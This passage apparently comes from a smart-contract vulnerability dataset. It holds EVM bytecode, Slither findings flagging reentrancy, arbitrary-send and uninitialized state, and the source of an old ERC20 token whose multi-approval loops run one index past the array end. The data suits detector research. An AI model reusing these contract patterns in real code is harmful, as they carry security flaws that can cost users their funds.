600080fd5b5061027061091d565b3480156103fe57600080fd5b506102ba61040d366004611e2e565b61094a565b34801561041e57600080fd5b5061027061096c565b34801561043357600080fd5b506102706109e0565b34801561044857600080fd5b50610270610457366004612008565b610a07565b34801561046857600080fd5b506000546040516001600160a01b039091168152602001610247565b34801561049057600080fd5b5060408051808201909152600381526252534760e81b602082015261023a565b3480156104bc57600080fd5b506102926104cb366004611ede565b610a5d565b3480156104dc57600080fd5b506102706104eb366004611f09565b610a6a565b3480156104fc57600080fd5b5061027061050b366004612008565b610b25565b34801561051c57600080fd5b50610270610bba565b34801561053157600080fd5b50610270610bf0565b34801561054657600080fd5b50610292610555366004611e2e565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561057f57600080fd5b5061027061058e366004611e2e565b610fb9565b34801561059f57600080fd5b506102ba60195481565b3480156105b557600080fd5b506102706105c4366004611e2e565b610ffb565b3480156105d557600080fd5b506102706105e4366004612008565b61103d565b3480156105f557600080fd5b50610270610604366004612008565b61110b565b34801561061557600080fd5b506102ba610624366004611e66565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561065b57600080fd5b5061027061066a366004611fd0565b61118b565b34801561067b57600080fd5b5061029261068a366004611e2e565b6001600160a01b031660009081526010602052604090205460ff1690565b3480156106b457600080fd5b506102706111c9565b6014546001600160a01b0316336001600160a01b0316146106dd57600080fd5b60178054911515600160b81b0260ff60b81b19909216919091179055565b60006107083384846111f0565b5060015b92915050565b600061071f848484611314565b610771843361076c8560405180606001604052806028815260200161221e602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061167a565b6111f0565b5060019392505050565b6000546001600160a01b031633146107ae5760405162461bcd60e51b81526004016107a5906120a0565b60405180910390fd5b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107f95760405162461bcd60e51b81526004016107a5906120a0565b600a81111561084a5760405162461bcd60e51b815260206004820152601a60248201527f6275797461782073686f756c6420626520696e2030202d20343900000000000060448201526064016107a5565b600955565b6000546001600160a01b031633146108795760405162461bcd60e51b81526004016107a5906120a0565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b6014546001600160a01b0316336001600160a01b0316146108bd57600080fd5b60178054911515600160b01b0260ff60b01b19909216919091179055565b6014546001600160a01b0316336001600160a01b0316146108fb57600080fd5b601380546001600160a01b0319166001600160a01b0392909216919091179055565b6014546001600160a01b0316336001600160a01b03161461093d57600080fd5b47610947816116b4565b50565b6001600160a01b03811660009081526002602052604081205461070c90611743565b6000546001600160a01b031633146109965760405162461bcd60e51b81526004016107a5906120a0565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6014546001600160a01b0316336001600160a01b031614610a0057600080fd5b6000600b55565b6014546001600160a01b0316336001600160a01b031614610a2757600080fd5b6000610a323061094a565b90506000610a4d83610a4784620186a06117c7565b90611809565b9050610a5881611888565b505050565b6000610708338484611314565b6000546001600160a01b03163314610a945760405162461bcd60e51b81526004016107a5906120a0565b601754600160b81b900460ff1615610aab57600080fd5b60005b8151811015610b2157600160106000848481518110610add57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610b19816121b3565b915050610aae565b5050565b6014546001600160a01b0316336001600160a01b031614610b4557600080fd5b60008111610b955760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016107a5565b610bb4612710610bae683635c9adc5dea0000084611809565b906117c7565b600f5550565b6014546001600160a01b0316336001600160a01b031614610bda57600080fd5b6000610be53061094a565b905061094781611888565b6000546001600160a01b03163314610c1a5760405162461bcd60e51b81526004016107a5906120a0565b601754600160a01b900460ff1615610c745760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016107a5565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610cb13082683635c9adc5dea000006111f0565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cea57600080fd5b505afa158015610cfe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d229190611e4a565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d6a57600080fd5b505afa158015610d7e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610da29190611e4a565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610dea57600080fd5b505af1158015610dfe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e229190611e4a565b601780546001600160a01b0319166001600160a01b039283161790556016541663f305d7194730610e528161094a565b600080610e676000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610eca57600080fd5b505af1158015610ede573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f039190612020565b505060178054674563918244f400006018554360195564ff000000ff60a01b19811664010000000160a01b1790915560165460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610f8157600080fd5b505af1158015610f95573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b219190611fec565b6014546001600160a01b0316336001600160a01b031614610fd957600080fd5b601580546001600160a01b0319166001600160a01b0392909216919091179055565b6014546001600160a01b0316336001600160a01b03161461101b57600080fd5b601480546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146110675760405162461bcd60e51b81526004016107a5906120a0565b600081116110b75760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016107a5565b6110d0612710610bae683635c9adc5dea0000084611809565b60188190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6000546001600160a01b031633146111355760405162461bcd60e51b81526004016107a5906120a0565b60288111156111865760405162461bcd60e51b815260206004820152601b60248201527f73656c6c7461782073686f756c6420626520696e2030202d203439000000000060448201526064016107a5565b600b55565b6014546001600160a01b0316336001600160a01b0316146111ab57600080fd5b60178054911515600160c01b0260ff60c01b19909216919091179055565b6014546001600160a01b0316336001600160a01b0316146111e957600080fd5b6000600955565b6001600160a01b0383166112525760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107a5565b6001600160a01b0382166112b35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107a5565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166113785760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107a5565b6001600160a01b0382166113da5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107a5565b6000811161143c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107a5565b6000546001600160a01b0384811691161480159061146857506000546001600160a01b03838116911614155b156115d7576001600160a01b038316301461148c5760185481111561148c57600080fd5b6000546001600160a01b038481169116148015906114b857506000546001600160a01b03838116911614155b156114c457600954600a555b6001600160a01b03831660009081526010602052604090205460ff1615801561150657506001600160a01b03821660009081526010602052604090205460ff16155b801561152257503360009081526010602052604090205460ff16155b61152b57600080fd5b60006115363061094a565b9050600f5481106115465750600f545b600e546017549082101590600160a81b900460ff161580156115715750601754600160c01b900460ff165b801561157a5750805b801561159457506017546001600160a01b03868116911614155b80156115ae57506016546001600160a01b03868116911614155b156115d457600b54600a556115c282611888565b4780156115d2576115d2476116b4565b505b50505b601754600190600160b01b900460ff16611620576017546001600160a01b0384811691161480159061161757506017546001600160a01b03858116911614155b15611620575060005b6001600160a01b03841660009081526005602052604090205460ff168061165f57506001600160a01b03831660009081526005602052604090205460ff165b15611668575060005b61167484848484611a2d565b50505050565b6000818484111561169e5760405162461bcd60e51b81526004016107a5919061204d565b5060006116ab848661219c565b95945050505050565b6013546001600160a01b03166108fc6116d36005610a4785600a6117c7565b6040518115909202916000818181858888f193505050501580156116fb573d6000803e3d6000fd5b506015546001600160a01b03166108fc61171b6005610a4785600a6117c7565b6040518115909202916000818181858888f19350505050158015610b21573d6000803e3d6000fd5b60006006548211156117aa5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016107a5565b60006117b4611a5b565b90506117c083826117c7565b9392505050565b60006117c083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a7e565b6000826118185750600061070c565b6000611824838561217d565b905082611831858361215d565b146117c05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107a5565b6017805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106118de57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561193257600080fd5b505afa158015611946573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061196a9190611e4a565b8160018151811061198b57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526016546119b191309116846111f0565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac947906119ea9085906000908690309042906004016120d5565b600060405180830381600087803b158015611a0457600080fd5b505af1158015611a18573d6000803e3d6000fd5b50506017805460ff60a81b1916905550505050565b80611a3a57611a3a611aac565b611a45848484611ada565b8061167457611674600c54600855600d54600a55565b6000806000611a68611bd1565b9092509050611a7782826117c7565b9250505090565b60008183611a9f5760405162461bcd60e51b81526004016107a5919061204d565b5060006116ab848661215d565b600854158015611abc5750600a54155b15611ac357565b60088054600c55600a8054600d5560009182905555565b600080600080600080611aec87611c13565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611b1e9087611c70565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611b4d9086611cb2565b6001600160a01b038916600090815260026020526040902055611b6f81611d11565b611b798483611d5b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611bbe91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea00000611bed82826117c7565b821015611c0a57505060065492683635c9adc5dea0000092509050565b90939092509050565b6000806000806000806000806000611c308a600854600a54611d7f565b9250925092506000611c40611a5b565b90506000806000611c538e878787611dce565b919e509c509a509598509396509194505050505091939550919395565b60006117c083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061167a565b600080611cbf8385612145565b9050838110156117c05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107a5565b6000611d1b611a5b565b90506000611d298383611809565b30600090815260026020526040902054909150611d469082611cb2565b30600090815260026020526040902055505050565b600654611d689083611c70565b600655600754611d789082611cb2565b6007555050565b6000808080611d936064610bae8989611809565b90506000611da66064610bae8a89611809565b90506000611dbe82611db88b86611c70565b90611c70565b9992985090965090945050505050565b6000808080611ddd8886611809565b90506000611deb8887611809565b90506000611df98888611809565b90506000611e0b82611db88686611c70565b939b939a50919850919650505050505050565b8035611e29816121fa565b919050565b600060208284031215611e3f578081fd5b81356117c0816121fa565b600060208284031215611e5b578081fd5b81516117c0816121fa565b60008060408385031215611e78578081fd5b8235611e83816121fa565b91506020830135611e93816121fa565b809150509250929050565b600080600060608486031215611eb2578081fd5b8335611ebd816121fa565b92506020840135611ecd816121fa565b929592945050506040919091013590565b60008060408385031215611ef0578182fd5b8235611efb816121fa565b946020939093013593505050565b60006020808385031215611f1b578182fd5b823567ffffffffffffffff80821115611f32578384fd5b818501915085601f830112611f45578384fd5b813581811115611f5757611f576121e4565b8060051b604051601f19603f83011681018181108582111715611f7c57611f7c6121e4565b604052828152858101935084860182860187018a1015611f9a578788fd5b8795505b83861015611fc357611faf81611e1e565b855260019590950194938601938601611f9e565b5098975050505050505050565b600060208284031215611fe1578081fd5b81356117c08161220f565b600060208284031215611ffd578081fd5b81516117c08161220f565b600060208284031215612019578081fd5b5035919050565b600080600060608486031215612034578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156120795785810183015185820160400152820161205d565b8181111561208a5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156121245784516001600160a01b0316835293830193918301916001016120ff565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115612158576121586121ce565b500190565b60008261217857634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615612197576121976121ce565b500290565b6000828210156121ae576121ae6121ce565b500390565b60006000198214156121c7576121c76121ce565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461094757600080fd5b801515811461094757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b9ce4ca851e9f95ef370f3150160b8a7cd6b35c7c7dca84f051aea6cf76b814d64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
4,803
0x922a690cca871d19e8cc0ee5a49bf08893797e43
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract tokenRecipient {function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData);} /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { /* Public variables of the token */ string public standard = 'ERC20'; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; address public owner; mapping (address => mapping (address => uint256)) internal allowed; function StandardToken( uint256 initialSupply, string tokenName, uint8 decimalUnits, string tokenSymbol ) { balances[msg.sender] = initialSupply; // Give the creator all initial tokens totalSupply = initialSupply; // Update total supply name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes decimals = decimalUnits; // Amount of decimals for display purposes owner=msg.sender; } modifier onlyOwner { if (msg.sender != owner) throw; _; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function multiApprove(address[] _spender, uint256[] _value) public returns (bool){ require(_spender.length == _value.length); for(uint i=0;i<=_spender.length;i++){ allowed[msg.sender][_spender[i]] = _value[i]; Approval(msg.sender, _spender[i], _value[i]); } return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function multiIncreaseApproval(address[] _spender, uint[] _addedValue) public returns (bool) { require(_spender.length == _addedValue.length); for(uint i=0;i<=_spender.length;i++){ allowed[msg.sender][_spender[i]] = allowed[msg.sender][_spender[i]].add(_addedValue[i]); Approval(msg.sender, _spender[i], allowed[msg.sender][_spender[i]]); } return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function multiDecreaseApproval(address[] _spender, uint[] _subtractedValue) public returns (bool) { require(_spender.length == _subtractedValue.length); for(uint i=0;i<=_spender.length;i++){ uint oldValue = allowed[msg.sender][_spender[i]]; if (_subtractedValue[i] > oldValue) { allowed[msg.sender][_spender[i]] = 0; } else { allowed[msg.sender][_spender[i]] = oldValue.sub(_subtractedValue[i]); } Approval(msg.sender, _spender[i], allowed[msg.sender][_spender[i]]); } return true; } /* Approve and then comunicate the approved contract in a single tx */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } }
0x6060604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063035f057d146100f657806306fdde03146101a8578063095ea7b31461023657806318160ddd1461029057806323b872dd146102b9578063313ce5671461033257806350e8587e146103615780635a3b7e421461041357806366188463146104a157806370a08231146104fb57806372a7b8ba146105485780638da5cb5b146105fa57806395d89b411461064f578063a9059cbb146106dd578063cae9ca5114610737578063d73dd623146107d4578063dd62ed3e1461082e575b600080fd5b341561010157600080fd5b61018e6004808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190505061089a565b604051808215151515815260200191505060405180910390f35b34156101b357600080fd5b6101bb610b37565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fb5780820151818401526020810190506101e0565b50505050905090810190601f1680156102285780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561024157600080fd5b610276600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610bd5565b604051808215151515815260200191505060405180910390f35b341561029b57600080fd5b6102a3610cc7565b6040518082815260200191505060405180910390f35b34156102c457600080fd5b610318600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ccd565b604051808215151515815260200191505060405180910390f35b341561033d57600080fd5b610345611087565b604051808260ff1660ff16815260200191505060405180910390f35b341561036c57600080fd5b6103f96004808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190505061109a565b604051808215151515815260200191505060405180910390f35b341561041e57600080fd5b610426611216565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561046657808201518184015260208101905061044b565b50505050905090810190601f1680156104935780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104ac57600080fd5b6104e1600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506112b4565b604051808215151515815260200191505060405180910390f35b341561050657600080fd5b610532600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611545565b6040518082815260200191505060405180910390f35b341561055357600080fd5b6105e06004808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190505061158d565b604051808215151515815260200191505060405180910390f35b341561060557600080fd5b61060d6118ee565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561065a57600080fd5b610662611914565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106a2578082015181840152602081019050610687565b50505050905090810190601f1680156106cf5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156106e857600080fd5b61071d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506119b2565b604051808215151515815260200191505060405180910390f35b341561074257600080fd5b6107ba600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611bd1565b604051808215151515815260200191505060405180910390f35b34156107df57600080fd5b610814600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611d4b565b604051808215151515815260200191505060405180910390f35b341561083957600080fd5b610884600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611f47565b6040518082815260200191505060405180910390f35b600080825184511415156108ad57600080fd5b600090505b835181111515610b2c5761097983828151811015156108cd57fe5b90602001906020020151600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000878581518110151561092657fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fce90919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600086848151811015156109c857fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508381815181101515610a1e57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008886815181101515610ac557fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a380806001019150506108b2565b600191505092915050565b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bcd5780601f10610ba257610100808354040283529160200191610bcd565b820191906000526020600020905b815481529060010190602001808311610bb057829003601f168201915b505050505081565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60065481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610d0a57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d5757600080fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610de257600080fd5b610e33826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fec90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ec6826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fce90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f9782600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fec90919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600560009054906101000a900460ff1681565b600080825184511415156110ad57600080fd5b600090505b83518111151561120b5782818151811015156110ca57fe5b90602001906020020151600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000868481518110151561112357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550838181518110151561117957fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92585848151811015156111df57fe5b906020019060200201516040518082815260200191505060405180910390a380806001019150506110b2565b600191505092915050565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112ac5780601f10611281576101008083540402835291602001916112ac565b820191906000526020600020905b81548152906001019060200180831161128f57829003601f168201915b505050505081565b600080600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156113c5576000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611459565b6113d88382611fec90919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffff